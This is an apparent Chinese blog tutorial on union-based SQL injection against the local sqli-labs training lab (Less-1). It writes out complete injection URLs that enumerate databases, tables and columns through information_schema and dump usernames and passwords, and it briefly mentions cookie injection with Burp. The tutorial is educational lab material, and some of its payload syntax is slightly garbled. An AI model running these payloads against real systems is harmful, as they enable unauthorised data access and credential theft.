基础SQL注入
预备知识
对mysql数据库有一定了解;对基本的sql语句有所了解;
对url编码有了解:空格=‘%20’,单引号=‘%27’,双引号=‘%22’,井号=‘%23’等
基本步骤
1. 判断是什么类型注入,有没有过滤关键字,是否能绕过
2. 确定存在注入的表的列数以及表中数据那些字段可以显示出来
3. 获取数据库版本,用户,当前连接的数据库等信息
4. 获取数据库中所有表的信息
5. 获取某个表的列字段信息
5. 获取相应表的数据
Less1,基于错误的GET单引号字符型注入。
(单引号,and 1=1,and 1=2,)
http://127.0.0.1/sqli/Less-1/?id=2%27(宽字节注入)
错误提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1
此时的注入语句为: SELECT * FROM users WHERE id='2'' LIMIT 0,1 (报单引号不匹配的错)
注释符常用的有两种:
1. -- ' 一定要注意在最后一个单引号前面有空格
2. # (空格#空格)
第二步确定表的列数:
使用order by 语句。
当试到'4'时,出现报错信息,可以知道该表有3列:
Unknown column '4' in 'order clause'
执行的sql语句是:SELECT * FROM users WHERE id='2' order by 4 -- '' LIMIT 0,1
第三步,确定字段的显示位:
显示位:表中数据第几位的字段可以 显示,因为并不是所有的查询结果都 会展示在页面中,因此需要探测页面 中展示的查询结果是哪一列的结果; ‘union select 1,2,3 – ’ 通过显示的数字可以判断那些字段可以显示出来。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 -- '
可见2,3所在的字段可以显示
ps:id=-1,使用-1是为了使前一个sql语句所选的内容为空,从而便于后面的select语句显示信息
第四步获取当前数据库信息
现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用group_concat ()函数(可以把查询出来的多行数据连接起来在一个字段中显示)
database()函数:查看当前数据库名称
version()函数:查看数据库版本信息
user():返回当前数据库连接使用的用户
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database()或者version()),3 -- '
Your Login name:security5.5.53
Your Password:3
可以知道当前数据库名为security,数据库版本为5.5.53
第五步,获取全部数据库信息(表,列信息)
Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息,使用该表完成注入
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, group_concat(schema_name),3 from information_schema.schemata -- ' 爆出所有数据库名字
以上命令可以获取到了所有的数据库信息 information_schema ,security(是例题中的数据库信息)
第六步:获取security数据库中的表信息
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' -- '(一般情况下要最好将security使用16进制hex编码转换。转换后记得要加0x)
Your Login name: emails , referers , uagents , users
Your Password:3
ps:table_schema= '数据库的名' table_name 表信息
第七步:获取user表的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,column_name,3 from information_schema.columns where table_name='users' limit0,1 -- '(users最好转换,I春秋上介绍,这句话的意思是查询information_schema数据库中columns表里的column_name字段(就是表最上面的标题)。条件是table_name为user
Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,column_name, ,3 from information_schema.columns where table_name='users' -- '' LIMIT 0,1 这个一般都要加,加上去改变数字会导致不同
第八步:获取数据
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,username,password,3 from users -- '
Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
Your Password:3
Writeup,我要先查到注入类型跟注入点,然后用order by 查询整个大数据库里表的列数,database()显示的是当前页面所使用的数据库名称,shecm这个是mysql5.0版本之后特有的一个数据库,他包含了整个大数据库里所有数据库的表名跟列名。然后用union select 1,2,3…查列显示位置是多少。然后获取当前数据库的名字:union select 1,database()(写在显示位),3 –- ';得到当前数据库名称后,要找到当前数据库所有表信息,然后对指定想要获取的数据库获取数据库表信息(第六步),然后获取指定表下面的列信息 union select 列 from 表
第二篇:
Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库
information_schema.schemata:存储mysql数据库下所有数据库的库名信息的表 (字段名为 schema_name的字段值) 字段就是列名
information_schema.tables:存储mysql数据库下所有数据库的表名信息的表 (字段名为 table_name:表名
条件为 table_schema:数据库名 )
information_schema.columns:存储mysql数据库下所有数据库的列名信息的表 (字段名为column_name:的字段值))
cookie注入:burp里截取到用户COOKIE后,将ID=多少再referer中cookie后面加分号之后填写上去,再写入命令。
基础SQL注入的更多相关文章
- 实验八 Web基础 SQL注入原理
实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...
- 渗透之路基础 -- SQL注入
目录 mysql注入(上) limit 有两个参数 limit 2,3 表示从2开始查3条 通过MySql内置数据库获取表名 通过MySql内置数据库获取表名对应的列名 mysql注入(中) SQL常 ...
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
- Sql注入基础原理介绍
说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...
- 通过sqli-labs学习sql注入——基础挑战之less1-3
首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...
- 通过sqli-labs学习sql注入——基础挑战之less1
环境准备: Phpstudy (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...
- Sqli-labs之sql注入基础知识
(1)注入的分类 基于从服务器接收到的响应 ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...
- WEB安全基础之sql注入基础
1.基础sql语句 注释 单行注释# %23--+ --加空格多行注释/**/ SELECT(VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SEL ...
- 结合jquery的前后端加密解密 适用于WebApi的SQL注入过滤器 Web.config中customErrors异常信息配置 ife2018 零基础学院 day 4 ife2018 零基础学院 day 3 ife 零基础学院 day 2 ife 零基础学院 day 1 - 我为什么想学前端
在一个正常的项目中,登录注册的密码是密文传输到后台服务端的,也就是说,首先前端js对密码做处理,随后再传递到服务端,服务端解密再加密传出到数据库里面.Dotnet已经提供了RSA算法的加解密类库,我们 ...
随机推荐
- C#7.2——编写安全高效的C#代码 c# 中模拟一个模式匹配及匹配值抽取 走进 LINQ 的世界 移除Excel工作表密码保护小工具含C#源代码 腾讯QQ会员中心g_tk32算法【C#版】
C#7.2——编写安全高效的C#代码 2018-11-07 18:59 by 沉睡的木木夕, 123 阅读, 0 评论, 收藏, 编辑 原文地址:https://docs.microsoft.com/ ...
- C++ thread类多线程编程
https://blog.csdn.net/dcrmg/article/details/53912941 多线程操作的thread类,简单多线程示例: #include <iostream> ...
- LNMP环境的搭建(yum)方法(精)
第一 先安装nginx nginx在官方CentOS社区yum里面没有,需要在nginx的官方网站去下载yum的配置文件 官方:https://www.nginx.com/resources/wiki ...
- Atitit 数据库排除某一列 字段 显示
Atitit 数据库排除某一列 字段 显示 GROUP_CONCAT 行列转换 mysql利用group_concat()合并多行数据到一行_Mysql_脚本之家 sELECT GROUP_CO ...
- Activiti 工作流变量的修改方法
修改方法: //此方法的更新会同时更新 ru_ 和 hi_的数据 @Override public Map<String, Object> updateProcessFormValue(S ...
- iOS强制横屏或强制竖屏
原文链接 https://www.jianshu.com/p/d6cb54d2eaa1 亲测第二种我这边是阔以滴 第一种解决方案(不推荐,直接跳过看第二种解决方案): //强制转屏 - (void)i ...
- Linux 文件删除原理_009
***了解Linux文件删除原理先了解一下文件inode索引节点,每个文件在Linux系统里都有唯一的索引节点(身份证号) inode.如果文件存在硬链接,那这个文件和这个文件的硬链接的inode是相 ...
- [原创] 如何PCB通流能力计算
一.计算方法如下: 先计算Track的截面积,大部分PCB的铜箔厚度为35um(不确定的话可以问PCB厂家)它乘上线宽就是截面积,注意换算成平方毫米. 有一个电流密度经验值,为15~25安培/平方毫米 ...
- IE 浏览器不支持 ES6 Array.from(new Set( )) SCRIPT438: 对象不支持“from”属性
[转]解决老浏览器不支持ES6的方法 现象: Array.from(new Set( )) SCRIPT438: 对象不支持“from”属性或方法 解决方法: 安装babel 引入browser. ...
- GoLang之错误处理
错误处理 error Go语言引入了一个错误处理的标准模式,即error接口,该接口定义如下: type error interface { Error() string } 对于大多数函数,如果要返 ...